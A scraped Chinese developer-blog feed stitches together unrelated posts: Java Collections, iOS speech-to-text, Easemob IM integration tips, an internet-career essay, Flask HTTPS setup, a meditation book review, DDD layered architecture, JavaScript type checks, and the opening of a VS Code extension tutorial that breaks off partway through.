Comparator: 强行对某个对象进行整体排序。可以将Comparator 传递给sort方法(如Collections.sort或 Arrays.sort),从而允许在排序顺序上实现精确控制。还可以使用Comparator来控制某些数据结构(如有序set或有序映射)的顺序,或者为那些没有自然顺序的对象collection提供排序。

小结

Collections 是 Java 中用于操作集合的工具类,它提供了一系列静态方法来对集合进行排序、查找、遍历等操作。在 Java 中,Map 是一种特殊的集合,用于存储键值对数据。虽然 Collections 类的部分方法可以直接操作 Map 的键或值的集合视图,但并不能直接对整个 Map 进行操作。

Collections 类提供了一些静态方法来对 Map 的键或值集合视图进行操作,比如排序、查找最大值、查找最小值等。例如,Collections.sort 方法可以对 List 类型的集合进行排序,而 List 类型的 map.keySet() 和 map.values() 返回的集合都可以使用这个方法进行排序。同样地,Collections.max 和 Collections.min 也可以用于获取集合中的最大值和最小值。

另外,对于整个 Map 的操作,可以直接使用 Map 接口提供的方法进行操作,比如 put、get、remove 等。如果需要对整个 Map 进行操作,一般直接调用 Map 接口提供的方法会更加方便和直观。

总之,Collections 类主要用于操作集合类(比如 List、Set),而对于 Map 类型的操作,一般直接使用 Map 接口提供的方法即可。

还是老生常谈,熟能生巧!多练!happy ending!!

收起阅读 »

iOS如何实现语音转文字功能?

1.项目中添加权限Privacy - Speech Recognition Usage Description : 需要语音识别权限才能实现语音转文字功能2.添加头文件#import <AVFoundation/AVFoundation.h>#im...
继续阅读 »

1.项目中添加权限

Privacy - Speech Recognition Usage Description : 需要语音识别权限才能实现语音转文字功能


2.添加头文件

#import <AVFoundation/AVFoundation.h>

#import<Speech/Speech.h>


3.实现语音转文字逻辑:

3.1 根据wav语音文件创建请求


    SFSpeechURLRecognitionRequest *recognitionRequest
= [[SFSpeechURLRecognitionRequest alloc] initWithURL:[NSURL fileURLWithPath:wavFilePath]];

3.2 创建语言配置


    SFSpeechRecognizer *recongnizer

    = [[SFSpeechRecognizer alloc] initWithLocale:[[NSLocale alloc] initWithLocaleIdentifier:@"zh_CN"]];

3.2 根据请求和语言配置创建任务,同时设置代理<SFSpeechRecognitionTaskDelegate>对象为自己


    SFSpeechRecognitionTask *task =

    = [recongnizer recognitionTaskWithRequest:recognitionRequest delegate:self];

3.3 取消方法:


    [task cancel];

3.4 代理方法:


// Called for all recognitions, including non-final hypothesis
- (void)speechRecognitionTask:(SFSpeechRecognitionTask *)task didHypothesizeTranscription:(SFTranscription *)transcription{
NSLog(@"转换中...");
}

// Called when recognition of all requested utterances is finished.
// If successfully is false, the error property of the task will contain error information
- (void)speechRecognitionTask:(SFSpeechRecognitionTask *)task didFinishSuccessfully:(BOOL)successfully{
NSLog(@"转换完成 是否成功:%d",successfully);

}

以上为针对单个语音文件转文字的整体逻辑

在实际使用中,会涉及到多条语音转文字,此时有一个环节需要注意:

当我们进行多条语音转文字时,可以将上述逻辑封装为一个一个类个体,每进行一条语音转文字时,创建一个对象进行处理

用多个对象来进行各自的语音转文字行为.

但是!!!这是行不通的.

因为即使每一个语音转文字逻辑是一个对象个体,但依然在未处理完当前的任务时,处理下一个语音转文字,会导致当前的语音转文字行为直接终止,并失败.

所以,针对这块儿,可以做成队列形式,也就是当有多个语音转文字的操作时,我们是可以将这多个任务添加到队列中,并依次执行.(这里队列是用数组方式实现)

最后展示实际代码截图



调用方式:



具体demo可以参考链接

https://gitee.com/huanxin666/EMDemo-oc

语音消息长按可显示出转文字的按钮,点击转文字即可进行转换

效果如下


Demo演示iOS语音转文字实现

收起阅读 »

集成环信IM时常见问题及解决——包括消息、群组、推送

一、消息发送透传消息也就是cmd消息时,value的em_开头的字段为环信内部消息字段,如果使用会出现收不到消息回调的情况;如果发送消息报500的错误,请检查下你的登录逻辑,大概率就是没有登录环信造成的;Android在发送图片消息时,默认超过100kb是会压...
继续阅读 »

一、消息

  1. 发送透传消息也就是cmd消息时,value的em_开头的字段为环信内部消息字段,如果使用会出现收不到消息回调的情况;

  2. 如果发送消息报500的错误,请检查下你的登录逻辑,大概率就是没有登录环信造成的;

  3. Android在发送图片消息时,默认超过100kb是会压缩图片的,如果对图片质量有要求的话,可以设置不压缩;

        // `imageUri` 为图片本地资源标志符,
// `false` 为不发送原图(默认超过 100 KB 的图片会压缩后发给对方),
// 若需要发送原图传 `true`,即设置 `original` 参数为 `true`。
EMMessage message = EMMessage.createImageSendMessage(imageUri, false, toChatUsername);
// 发送消息
EMClient.getInstance().chatManager().sendMessage(message);


  1. 如果项目里需要本地插入一些会话,需要注意环信id的大小写问题,需要以小写字母去创建会话id,否则会出现获取不到会话的情况;
    EMClient.getInstance().chatManager().getConversation(“xiaoxie”, EMConversation.EMConversationType.Chat,true);

二:群组

  1. 在群组的操作方法中有很多是同步的api,需要注意,同步的api需要放到子线程里,否则会报300;
    例如:createGroup创建群组,destroyGroup解散群组等;
    如果想避免此类问题,可以调用异步方法;

  2. 在发送群组消息时,需要设置message.setChatType(EMMessage.ChatType.GroupChat);否则会出现,发送消息对方收不到的情况;

  3. 获取群组详情的时候,需要先从服务器获取,本地才会有数据;
    当获取不到数据时,需要先检查下,是否直接获取的本地;

     // 根据群组 ID 从本地获取群组详情。
EMGroup group = EMClient.getInstance().groupManager().getGroup(groupId);
// 根据群组 ID 从服务器获取群组详情。
// 同步方法,会阻塞当前线程。异步方法为 asyncGetGroupFromServer(String,
EMValueCallBack)
EMGroup group =
EMClient.getInstance().groupManager().getGroupFromServer(groupId);
  1. 操作黑名单,成员禁言的api是有角色区分的,需要留意下;
    比如:将群成员拉入群组的黑名单,将用户移除出群黑名单,获取群组的黑名单用户列表,只有群主有权限操作;
    将群成员加入禁言列表中,将群成员移出禁言列表,获取群成员禁言列表,开启和关闭全员禁言,群主或者管理员有权限操作;
  2. 当群成员超过200人的时候,需要调用获取完整的群成员列表的方法;

三:推送

  1. fcm推送配置了BOTH类型,如果没有收到离线推送,可以检查下通知栏权限,国内网络的话还需要开启应用后台启动,和自启动权限;如果这些权限都开启的,还是收不到推送的话,请联系环信技术支持;

  2. oppo推送需要注意:
    在console后台上传秘钥的是master secret
    在APP中上传秘钥是app secret
    如果上传错误的话,会造成推送收不到;

相关文档:

收起阅读 »

还能在互联网行业干多久

随着互联网的迅速发展,互联网行业成为了当今社会最为重要的行业之一。然而,这个行业的发展速度之快,竞争之激烈,让很多人不禁想问:我还能在这个行业干多久?对于这个问题,不同人有不同的回答。有些人认为,互联网行业的发展速度非常快,如果不能跟上这个速度,就会被淘汰。因...
继续阅读 »


随着互联网的迅速发展,互联网行业成为了当今社会最为重要的行业之一。然而,这个行业的发展速度之快,竞争之激烈,让很多人不禁想问:我还能在这个行业干多久?

对于这个问题,不同人有不同的回答。有些人认为,互联网行业的发展速度非常快,如果不能跟上这个速度,就会被淘汰。因此,他们不断地学习新技术、新知识和新技能,以便能够在竞争激烈的市场中立足。另一些人则认为,互联网行业是一个“青春饭”,只有年轻人才有优势,随着年龄的增长,他们的竞争力会逐渐下降。

其实,这两种观点都有一定的道理,但都存在一些片面性。首先,互联网行业的发展速度确实非常快,但并不是所有的技术和知识都需要不断更新。有些技术和知识是基础性的,比如网络协议、操作系统和编程语言等,这些知识和技术是不会过时的,只需要不断地深入学习和理解即可。其次,年龄并不是决定能否在互联网行业工作的唯一因素。虽然年轻人可能更有优势,但是经验和专业知识的积累也是非常重要的因素。一些互联网公司的老员工也能够在公司中立足,就是因为他们有着丰富的经验和专业知识。

那么,如何判断自己还能在互联网行业干多久呢?其实,这取决于个人的情况和选择。首先,需要对自己的技能和知识进行评估。看看自己是否具备了基础性的技能和知识,是否能够跟上行业发展的速度。其次,需要对自己的职业规划和发展方向进行思考。看看自己是否对这个行业充满热情和兴趣,是否愿意在这个行业中长期发展。最后,需要对自己的身体和心理状况进行评估。看看自己是否能够承受高强度的工作压力和长时间的加班。

总之,在互联网行业中工作多久取决于个人的情况和选择。只要具备了基础性的技能和知识,有明确的职业规划和发展方向,并且能够承受高强度的工作压力和长时间的加班,就可以在这个行业中长久地发展下去。

源文地址:https://www.hsor.cn/AC/mbefc-1828.html

收起阅读 »

你的flask服务开启https了吗?

一、你的flask服务开启https了吗? 1.事件起因 计划做文心一言插件,我购买了服务器,开始按照我的想象部署插件,结果工作不错,但是最后一步图片显示不正常。哭晕了,如下图所示。 仔细阅读,发现返回图片地址什么的都很正常啊,也可以访问得到,但是为什么就不...
继续阅读 »

一、你的flask服务开启https了吗?


1.事件起因


计划做文心一言插件,我购买了服务器,开始按照我的想象部署插件,结果工作不错,但是最后一步图片显示不正常。哭晕了,如下图所示。


e3dde086617a68f9a585f78f8bfdc20.png
仔细阅读,发现返回图片地址什么的都很正常啊,也可以访问得到,但是为什么就不能看到呢,很奇怪。


经多方排查,最终确定是图片跨域导致无法显示。


2.解决思路


知道是跨域问题就好了,因为文心一言是https访问,所以提供服务的也需要https,那么就开始作了(解决)。


二、解决办法


1.无效1.0解决办法


知道要https那我就加https了,直接百度解决办法。



  • Flask(更具体地说其实是Werkzeug),支持使用即时证书,这对于通过HTTPS快速提供应用程序非常有用,而且不会搞乱系统的证书。你只有需要做的就是将 ssl_context ='adhoc' 添加到程序的 app.run() 调用中。遗憾的是,Flask CLI无法使用此选项。举个例子,下面是官方文档中的“Hello,World” Flask应用程序,并添加了TLS加密:

  • 安装库 pip install pyopenssl


from flask import Flask
app = Flask(__name__)

@app.route("/")
def hello():
return "Hello World!"

if __name__ == "__main__":
app.run(ssl_context='adhoc')


这样启动起来就是https了,但是访问问题依旧,图片仍然没有显示。。。。。。仔细看来浏览器说是假的ssl,那就继续解决。


2.无效2.0自签名证书解决办法


所谓的自签名证书是使用与同一证书关联的私钥生成签名的证书,就是自己动手丰衣足食。


微信截图_20231126163515.png



  • 生成证书

  • flask加载证书


openssl req -x509 -newkey rsa:4096 -nodes -out cert.pem -keyout key.pem -days 365

from flask import Flask
app = Flask(__name__)

@app.route("/")
def hello():
return "Hello World!"

if __name__ == "__main__":
app.run(ssl_context=('cert.pem', 'key.pem'))
复制代码

然后看结果,依然无效,因为是自签名。。。。。。


3.0终极解决办法


后来发现要真正的证书,那么你必须要有域名,才会发给你,就是说证书和域名是绑定的,就跟户籍一样,户籍都没有说什么学区房,没人理你。



  • 为此我花了8块买了一个cn一年的域名,并且进行了实名。

  • 在腾讯云申请ssl证书,参考地址 cloud.tencent.com/document/pr…

  • 申请地址 console.cloud.tencent.com/ssl
    申请时必须先证明该证书属于你,需要按提示加入cname,进行验证。申请完毕略等一会就会通过,下载证书即可,具体包含以下几个问题件:


微信截图_20231126164111.png



  • 加载证书
    因为有4个文件,没有详细写,因此我测试了几次,最终成功。


if __name__ == '__main__':
app.run(debug=True, host='0.0.0.0', ssl_context=( 'erniebotplugins.cn_bundle.crt','erniebotplugins.cn.key'), port=8081)

三、最终效果


用上最终大招后,最终成功,具体效果如下。


微信截图_20231126164250.png


可见现在ssl非常普遍,不安全别的网站都懒得搭理你。


作者:Livingbody
来源:juejin.cn/post/7305235970285568011
收起阅读 »

《十分钟冥想》和《注意力:专注的科学与训练》

最近看了两本关于注意力的书籍《十分钟冥想》和《注意力:专注的科学与训练》,前者是关于冥想训练很不错的一本书,后者则是对注意原理的剖析和训练实践,虽然仅仅只有后三章是关于实践的,但是我觉得也不错。 读完之后,我想把我觉得最打动我的地方分享出来,应该对大家也有启发...
继续阅读 »

最近看了两本关于注意力的书籍《十分钟冥想》和《注意力:专注的科学与训练》,前者是关于冥想训练很不错的一本书,后者则是对注意原理的剖析和训练实践,虽然仅仅只有后三章是关于实践的,但是我觉得也不错。


读完之后,我想把我觉得最打动我的地方分享出来,应该对大家也有启发。先前朋友问过我一个问题,他说我每天工作的时候能集中注意的时间大概是多久,我说大概只有三个小时,当我细细的考虑这个问题时,真的觉得是有些恐怖的,你想我每天可是工作超过 12 小时,但是不得不承认的是,专注的时间确实很少,会经常性地被打断,所以我也在思考,这对我来说,或者我的注意力来说,是不是有点儿问题呢?而且我走神确实挺严重的,我会经常陷入思考,虽然它没有到影响生活的程度,但是我觉得需要调节下注意力,所以我一直在为注意力主题相关的阅读划时间。说多了,进入正题吧:


大家有没有过这样的想法:觉得自己的大脑不应该胡思乱想什么东西,或者它始终都应该是专注的,但是实际上,大脑就是思绪纷飞的,每个人都是。书中讲到了一个观点,我觉得超级贴切,思绪就像是马路上行驶的汽车,而你坐在路边,车子有不同的颜色和不同的尺寸,有时你会被汽车的声音吸引,而有时又会被它们的外饰吸引,你可能会随着它们跑起来,当你跑起来的时候,这就是分神的过程,甚至有时候你会跑到马路中间去指挥交通,但是实际上你并不能阻止想法的出现,它们的出现都是自发的,有时候你在随车跑动时,会意识到自己在做什么,就在此时,你又重新回到路边坐下来,也就是所谓的回过神来了,当你明白了这个,慢慢地不再频繁地跑到路上,而是越来越安心的坐在路边,观察想法的来去时,你的专注程度就变得更好了,所以当发现自己分神时,耐心地,轻轻地提醒下自己,把注意力再拉回来就好,不必有其他的负面想法,这很正常。我们的心其实就像是一片澄澈湛蓝的天空,有时候会被阴云笼罩,我们会想将它们赶走,但是这可能会带来更多纷扰,所谓被压制的,必将再浮上来,其实我们可以搬把椅子,坐看云卷云舒,蓝色的天空会穿过阴云展露出来,当我们不过分的执着于那些阴云时,它会显露的更快,重要的是:无论生活中发生什么事,要相信心中始终都有一份安全和安定。


如果大家想有意识的训练下注意力的话,可以专注在生活中一些事情的细节上,保持足够的好奇心和训练注意力的目标,它们可以是刷牙,刷碗或者做饭等等,观察牙膏的颜色,体会牙膏的味道或者刷碗的泡沫,什么都可以,只要它有你能够专注的点,也可以说成是认真的有意识的去做生活中的每一件小事。书中解释了茶道为什么能够修身养性,在泡茶的各个阶段,投入注意,不管是多么简单的步骤,都耐心地去做,我也确实认可,因为泡茶很厉害的人摆弄那一套茶具就足够“麻烦”了,一般摆弄这些的人确实挺大师的...


最后就是关于日常事务的处理,要善于对它们进行拆分,细化,分成多个小任务,不断地在小的时间范围内保持专注,这让我想到了番茄钟工作法,拆分任务由大化小确实是很不错的一个方法,建议大家在生活和工作中实践。


注意力就像是一头野兽,我们不能强制它,而是要学会驯服它,它也有和我们本身互相牵扯或者说互相理解的一个过程,不要强迫自己,对自己保有耐心。更加的专注我觉得意味着活在当下,享受此刻,它带来的是一份心神的安定,让我们能够回到他人身边,更好的感受生活,最后,就用其中我喜欢的一句话来结尾吧,“在欲念和动荡的世界中冥思得到的精神力量就像火中盛开的莲花,不可摧毁”。


大家周末快乐,早些休息。


作者:方圆想当图灵
来源:juejin.cn/post/7304997932444942345
收起阅读 »

新项目,不妨采用这种架构分层,很优雅!

大家好,我是飘渺。今天继续更新DDD&微服务的系列文章。 在专栏开篇提到过DDD(Domain-Driven Design,领域驱动设计)学习起来较为复杂,一方面因为其自身涉及的概念颇多,另一方面,我们往往缺乏实战经验和明确的代码模型指导。今天,我们将...
继续阅读 »

大家好,我是飘渺。今天继续更新DDD&微服务的系列文章。


在专栏开篇提到过DDD(Domain-Driven Design,领域驱动设计)学习起来较为复杂,一方面因为其自身涉及的概念颇多,另一方面,我们往往缺乏实战经验和明确的代码模型指导。今天,我们将专注于DDD的分层架构和实体模型,期望为大家落地DDD提供一些有益的参考。首先,让我们回顾一下熟悉的MVC三层架构。


1. MVC 架构


在传统应用程序中,我们通常采用经典的MVC(Model-View-Controller)架构进行开发,它将整体的系统分成了 Model(模型),View(视图)和 Controller(控制器)三个层次,也就是将用户视图和业务处理隔离开,并且通过控制器连接起来,很好地实现了表现和逻辑的解耦,是一种标准的软件分层架构。


在遵循此分层架构的开发过程中,我们通常会建立三个Maven Module:Controller、Service 和 Dao,它们分别对应表现层、逻辑层和数据访问层,如下图所示:


image-20230602123152660


(图中多画了一个Model层是因为 Model 通常只是简单的 Java Bean,只包含数据库表对应的属性。有的应用会将其单独抽取出来作为一个Maven Module,但实际上它可以合并到 DAO 层。)


1.1 MVC架构模型的不足


在业务逻辑较为简单的应用中,MVC三层架构是一种简洁高效的开发模式。然而,随着业务逻辑的复杂性增加和代码量的增加,MVC架构可能会显得捉襟见肘。其主要的不足可以总结如下:



  • Service层职责过重:在MVC架构中,Service层常常被赋予处理复杂业务逻辑的任务。随着业务逻辑的增长,Service层可能变得臃肿和复杂。业务逻辑有可能分散在各个Service类中,使得业务逻辑的组织和维护成为一项挑战。

  • 过于关注数据库而忽视领域建模:虽然MVC的设计初衷是对数据、用户界面和控制逻辑进行分离,但它在面对复杂业务场景时并未给予领域建模足够的重视。这可能导致代码难以理解和扩展,因为代码更像是围绕数据库而不是业务需求进行设计。

  • 边界划分不明确:在MVC架构中,顶层设计上的边界划分并没有明确的规则,往往依赖于技术负责人的经验。在大规模的团队协作中,这可能导致职责不清晰、分工不明确等问题。

  • 单元测试困难:在MVC架构中,Service层通常以事务脚本的方式进行开发,并且往往耦合了各种中间件操作,如数据库、缓存、消息队列等。这种耦合使得单元测试变得困难,因为要在没有这些中间件的情况下运行测试可能需要大量的模拟或存根代码。


在深入探讨MVC架构之后,我们将进入今天的主题:DDD的分层架构模型。


2. DDD的架构模型


在DDD中,通常将应用程序分为四个层次,分别为用户接口层(Interface Layer)应用层(Application Layer)领域层(Domain Layer)基础设施层(Infrastructure Layer),每个层次承担着各自的职责和作用。分层模型如下图所示:


image.png



  1. 接口层(Interface Layer):负责处理与外部系统的交互,包括UI、Web API、RPC接口等。它会接收用户或外部系统的请求,然后调用应用层的服务来处理这些请求,最后将处理结果返回给用户或外部系统。

  2. 应用层(Application Layer):承担协调领域层和基础设施层的职责,实现具体的业务逻辑。它调用领域层的领域服务和基础设施层的基础服务,完成业务逻辑的实现。

  3. 领域层(Domain Layer):该层包含了业务领域的所有元素,如实体、值对象、领域服务、聚合、工厂和领域事件等。这一层的主要职责是实现业务领域的核心逻辑。

  4. 基础设施层(Infrastructure Layer):主要提供通用的技术能力,如数据持久化、缓存、消息传输等基础设施服务。它可被其他三层调用,提供各种必要的技术服务。


在这四层中,调用关系通常是单向依赖的,即上层依赖下层,下层并不依赖上层。例如,接口层依赖应用层,应用层依赖领域层,领域层依赖基础设施层。但值得注意的是,尽管基础设施层在物理结构上可能位于最底层,但在DDD的分层模型中,它位于最外层,为内部各层提供技术服务。


image-20230604220949124


2.1 依赖反转原则


依赖反转原则(Dependency Inversion Principle, DIP)是一种有效的设计原则,有助于减小模块间的耦合度,提高系统的扩展性和可维护性。依赖反转原则的核心思想是:高层模块不应直接依赖低层模块,它们都应该依赖抽象。抽象不应该依赖具体的实现,而具体的实现应当依赖于抽象。


在 DDD 的四层架构中,领域层是核心,是业务的抽象化,不应直接依赖其他任何层。这意味着领域层的业务对象应该与其他层(如基础设施层)解耦,而不是直接依赖于具体的数据库访问技术、消息队列技术等。但在实际运行时,领域层的对象需要通过基础设施层来实现数据的持久化、消息的发送等。


为了解决这个问题,我们可以使用依赖翻转原则。在领域层,我们定义一些接口(如仓储接口),用于声明领域对象需要的服务,具体的实现则由基础设施层完成。在基础设施层,我们实现这些接口,并将实现类注入到领域层的对象中。这样,领域层的对象就可以通过这些接口与基础设施层进行交互,而不需要直接依赖于基础设施层。


2.2 DDD四层架构的优势


在复杂的业务场景下,采用DDD的四层架构模型可以有效地解决使用MVC架构可能出现的问题:



  1. 职责分离:在DDD的设计中,我们尝试将业务逻辑封装到领域对象(如实体、值对象和领域服务)中。这样可以降低应用层(原MVC中的Service层)的复杂性,同时使得业务逻辑更加集中和清晰,易于维护和扩展。

  2. 领域建模:DDD的核心理念在于通过建立富有内涵的领域模型来更真实地反映业务需求和业务规则,从而提高代码的灵活性,使其更容易适应业务的变化。

  3. 明确的边界划分:DDD通过边界上下文(Bounded Context)的概念,对系统进行明确的边界划分。每个边界上下文都有自己的领域模型和业务逻辑,使得大规模团队协作更加清晰、高效。

  4. 易于测试:由于业务逻辑封装在领域对象中,我们可以直接对这些领域对象进行单元测试。同时,基础设施层(如数据库、缓存和消息队列)被抽象为接口,我们可以使用模拟对象(Mock Object)进行测试,避免了直接与真实中间件的交互,大大提升了测试的灵活性和便利性。


接下来看看如何在代码中遵循DDD的分层架构。


3. 如何实现DDD分层架构


为了遵循DDD的分层架构,在代码实现时有两种实现方法。


第一种是在模块中通过包进行隔离,即在模块中建立4个不同的代码包,分别对应领域层(Domain Layer)、应用层(Application Layer)、基础设施层(Infrastructure Layer)和用户接口层(User Interface Layer)。这种方法的优点是结构简单,易于理解和维护。但缺点是各层之间的依赖关系可能不够明确,容易导致代码耦合。


image.png


第二种实现方法是建立4个不同的Maven Module层,每个Module分别对应领域层、应用层、基础设施层和用户接口层。这种方法的优点是各层之间的依赖关系更加明确,有利于降低耦合度和提高代码的可重用性。同时,这种方法也有助于团队成员更好地理解和遵循DDD的分层架构。然而,这种方法可能会导致项目结构变得复杂,增加了项目的维护成本。


image.png


在实际项目中,可以根据项目规模、团队成员的熟悉程度以及项目需求来选择合适的实现方法。对于较小规模的项目,可以采用第一种方法,通过包进行隔离。而对于较大规模的项目,建议采用第二种方法,使用Maven Module层进行隔离,以便更好地管理和维护代码。无论采用哪种方法,关键在于确保各层之间的职责分明,遵循DDD的原则和最佳实践。


在DailyMart项目中,我最初打算采用第一种方法,通过包进行隔离。然而,在微信群中进行投票后,发现近90%的人选择了第二种方法。作为一个倾听粉丝意见的博主,我决定采纳大家的建议。因此,DailyMart将采用Maven Module层隔离的方式进行编码实践。
image.png


4. DDD中的数据模型


在DDD中,我们采用特定的模型来映射和处理不同的领域概念和责任,常见的有三种数据模型:实体对象(Entity)、数据对象(Data Object,DO)和数据传输对象(Data Transfer Object,DTO)。这些模型在DDD中有着明确的角色和使用场景:



  • Entity(实体对象): 实体对象代表业务领域中的核心概念,其字段和方法应与业务语言保持一致,与持久化方式无关。这意味着实体和数据对象可能具有完全不同的字段命名、字段类型,甚至嵌套关系。实体的生命周期应仅存在于内存中,无需可序列化和可持久化。

  • Data Object (DO、数据对象): DO可能是我们在日常工作中最常见的数据模型。在DDD规范中,数据对象不能包含业务逻辑,并且位于基础设施层,仅负责与数据库进行交互,通常与数据库的物理表一一对应。

  • DTO(数据传输对象): 数据传输对象主要用作接口层和应用层之间传递数据,例如CQRS模式中的命令(Command)、查询(Query)、事件(Event)以及请求(Request)和响应(Response)。DTO的重要性在于它能够适配不同的业务场景需要的参数,从而避免业务对象变成庞大而复杂的"万能"对象。


在DDD中,这三种数据对象在很多场景下需要相互转换,例如:




  1. Entity <-> DTO:在应用层返回数据时,需要将实体对象转换成DTO,这一般通过一个名为DTO Assembler的转换器来完成。




  2. Entity <-> DO:在基础设施层的Repository实现时,我们需要将实体转换为DO以存储到数据库。同样地,查询数据时需要将DO转换回实体。这通常通过一个名为Data Converter的转换器来完成。




当然,不管是Entity转DTO,还是Entity转DO,都会有一定的开销,无论是代码量还是运行时的操作来看。手写转换代码容易出错,而使用反射技术虽然可以减少代码量,但可能会导致显著的性能损耗。这里给用Java的同学推荐MapStruct这个库,MapStruct在编译时生成代码,只需通过接口定义和注解配置就能生成相应的代码。由于生成的代码是直接赋值,所以性能损耗可以忽略不计。


image.png



在SpringBoot老鸟系列中我推荐大家使用 Orika 进行对象转换,理由是只需要编写少量代码。但是在DDD中不同对象都有严格的代码层级,并且一般会引入专门的Assembler和Converter转换器,既然代码量省不了,必然要选择性能最高的组件。


各种转换器的性能对比:Performance of Java Mapping Frameworks | Baeldung



5. 小结


本篇文章详细介绍了DDD的分层架构,并详细解释了如何在项目代码中实现这种分层架构。同时,还详细DDD中三种常用的数据对象:数据对象(DO)、实体(Entity)和数据传输对象(DTO)。这三种数据对象的区别可以通过下图进行精炼总结:


image-20230523220725247


至此,我们已经深入解析了DDD中的核心概念。同时,我们的DailyMart商城系统已完成所有的前期准备,现在已经准备好进入实际的编码阶段。在接下来的章节中,我们将从实现注册流程开始,逐步探索如何在实际项目中应用DDD。


作者:飘渺Jam
来源:juejin.cn/post/7242129428511113272
收起阅读 »

全方位了解 JavaScript 类型判断

web
JavaScript 是一种弱类型语言,因此了解如何进行类型检测变得尤为重要。在本文中,我们将深入探讨 JavaScript 中的三种常见类型检测方法:typeof、instanceof 和 Object.prototype.toString()。这些方法各有...
继续阅读 »

JavaScript 是一种弱类型语言,因此了解如何进行类型检测变得尤为重要。在本文中,我们将深入探讨 JavaScript 中的三种常见类型检测方法:typeofinstanceofObject.prototype.toString()。这些方法各有特点,通过详细的解释,让我们更好地理解它们的用法和限制。


JS 类型判断详解:typeof、instanceof 和 Object.prototype.toString()


1. typeof


1.1 准确判断原始类型


typeof 是一种用于检测变量类型的操作符。它可以准确地判断除 null 之外的所有原始类型,包括 undefinedbooleannumberstringsymbol。(js中还有一种类型叫“大整型”)


console.log(typeof undefined); // 输出: "undefined"
console.log(typeof true); // 输出: "boolean"
console.log(typeof 42); // 输出: "number"
console.log(typeof "hello"); // 输出: "string"
console.log(typeof Symbol()); // 输出: "symbol"

1.2 判断函数


typeof 还可以用于判断函数类型。


function exampleFunction() {}
console.log(typeof exampleFunction); // 输出: "function"

解释说明: 注意,typeof 能够区分函数和其他对象类型,这在某些场景下是非常有用的。


2. instanceof


2.1 只能判断引用类型


instanceof 运算符用于判断一个对象是否是某个构造函数的实例。它只能判断引用类型。


const arr = [1, 2, 3];
console.log(arr instanceof Array); // 输出: true

2.2 通过原型链查找


instanceof 的判断是通过原型链的查找实现的。(原型链详解移步 => juejin.cn/post/730493… )如果对象的原型链中包含指定构造函数的原型,那么就返回 true


function Animal() {}
function Dog() {}

Dog.prototype = new Animal();

const myDog = new Dog();
console.log(myDog instanceof Dog); // 输出: true
console.log(myDog instanceof Animal); // 输出: true

解释说明: instanceof 通过检查对象的原型链是否包含指定构造函数的原型来判断实例关系。


3. Object.prototype.toString()


3.1 调用步骤


Object.prototype.toString() 方法用于返回对象的字符串表示。当调用该方法时,将执行以下步骤:



  1. 如果 this 值为 undefined,则返回字符串 "[object Undefined]"。

  2. 如果 this 值为 null,则返回字符串 "[object Null]"。

  3. this 转换成对象(如果是原始类型,会调用 ToObject 将其转换成对象)。

  4. 获取对象的 [[Class]] 内部属性的值。

  5. 返回连接的字符串 "[Object"、[[Class]]、"]"。


console.log(Object.prototype.toString.call(undefined)); // 输出: "[object Undefined]"
console.log(Object.prototype.toString.call(null)); // 输出: "[object Null]"

console.log(Object.prototype.toString.call(42)); // 输出: "[object Number]"
console.log(Object.prototype.toString.call("hello")); // 输出: "[object String]"

console.log(Object.prototype.toString.call([])); // 输出: "[object Array]"
console.log(Object.prototype.toString.call({})); // 输出: "[object Object]"

function CustomType() {}
console.log(Object.prototype.toString.call(new CustomType())); // 输出: "[object Object]"

解释说明: Object.prototype.toString() 是一种通用且强大的类型检测方法,可以适用于所有值,包括原始类型和引用类型。


结语


了解 typeofinstanceofObject.prototype.toString() 的使用场景和限制有助于我们更加灵活地进行类型检测,提高代码的可读性和健壮性。选择合适的方法取决于具体的情境和需求,合理使用这些方法将使你的 JavaScript 代码更加优雅和可维护。


作者:skyfker
来源:juejin.cn/post/7305348040209629220
收起阅读 »

实现一个自己的vscode插件到发布

web
前言 本篇文章讲述了一个 vscode 插件开发的过程,希望能帮助到想了解 vscode 插件是如何开发的同学 文章最后又github地址 说在前面的话: 在看内容之前,确保你想了解如何开发一款 vscode 插件 内容以大白文教学形式输出,如果写的不清...
继续阅读 »

前言



本篇文章讲述了一个 vscode 插件开发的过程,希望能帮助到想了解 vscode 插件是如何开发的同学


文章最后又github地址



说在前面的话:



  1. 在看内容之前,确保你想了解如何开发一款 vscode 插件

  2. 内容以大白文教学形式输出,如果写的不清晰的地方,欢迎留言告诉我,这会帮助我理解到各位的痛点

  3. 看一万遍不如自己写一遍

  4. 学会这个思路,可以尝试去给开源的 UI 组件写提示插件,做出一些开源贡献

  5. 以上看完之后,请带着思考去看下面内容


一、为什么要做这个 vscode 插件🤔


为我们公司自己而用


在之前,我问到我们 UI设计师 老师,


我: 能给我一些我们的颜色的设计资源吗?


UI: 可以呀


然后就给了我一些主题色,辅色,然后线条色等等。


OK,当我拿到之后,对于颜色我们前端创建了一个 vars.scss 的文件夹,用于定义一些变量,大致是这样:


:root {
--tsl-doc-white: #fff;
// 文字色
--tsl-doc-gray-1: #e2e5e8;
--tsl-doc-gray-2: #d2d5d8;
--tsl-doc-gray-3: #b6babf;
--tsl-doc-gray-4: #afb2b7;
--tsl-doc-gray-5: #999b9f;
--tsl-doc-gray-6: #66686c;
--tsl-doc-gray-7: #3c3d3f;
}


使用 color: var(--tsl-doc-white) ,就达到目的,其实就是 css 变量,没什么的,当我们做完一系列之后,发现有个痛点~~


妈的(骂骂咧咧),这个颜色我起的名字是什么,笑死🤣,根本记不住,然后就导致了开发人员是一种什么情况,一边看变量文件一边写,我寻思,还不如直接写颜色来的快这样。


所以啊,所以,我在思考之后,我就想起,我一直在下一些提示插件,那么别人是如何实现的?


突然,我是不是也可以做一个,这样我们就可以避免这种问题了。于是就开始了我的插件开发之路。


二、如何实现一个 vscode 插件🖥️


2.1 一些或许有点用的文档资源


【vscode 官方文档】:Your First Extension | Visual Studio Code Extension API


【VS Code插件创作中文开发文档】: 你的第一个插件 - VS Code插件创作中文开发文档


2.2 需要提前准备的环境


Node环境: 大于16,主要使用 npm


安装一些脚手架(给我装就完了):


npm install -g yo generator-code

执行命令 yo code ,过一会儿就会看到下面这段话


# ? What type of extension do you want to create? New Extension (TypeScript)
# ? What's the name of your extension? HelloWorld
### Press to choose default for all options below ###

# ? What'
s the identifier of your extension? helloworld
# ? What's the description of your extension? LEAVE BLANK
# ? Enable stricter TypeScript checking in '
tsconfig.json'? Yes
# ? Setup linting using '
tslint'? Yes
# ? Initialize a git repository? Yes
# ? Which package manager to use? npm

code ./helloworld

细节的一些可以看官方,有视频,😏,当你已经能成功输出 Hello World 然后,在回来看我这里


2.3 分析需求


明确知道自己要做什么:



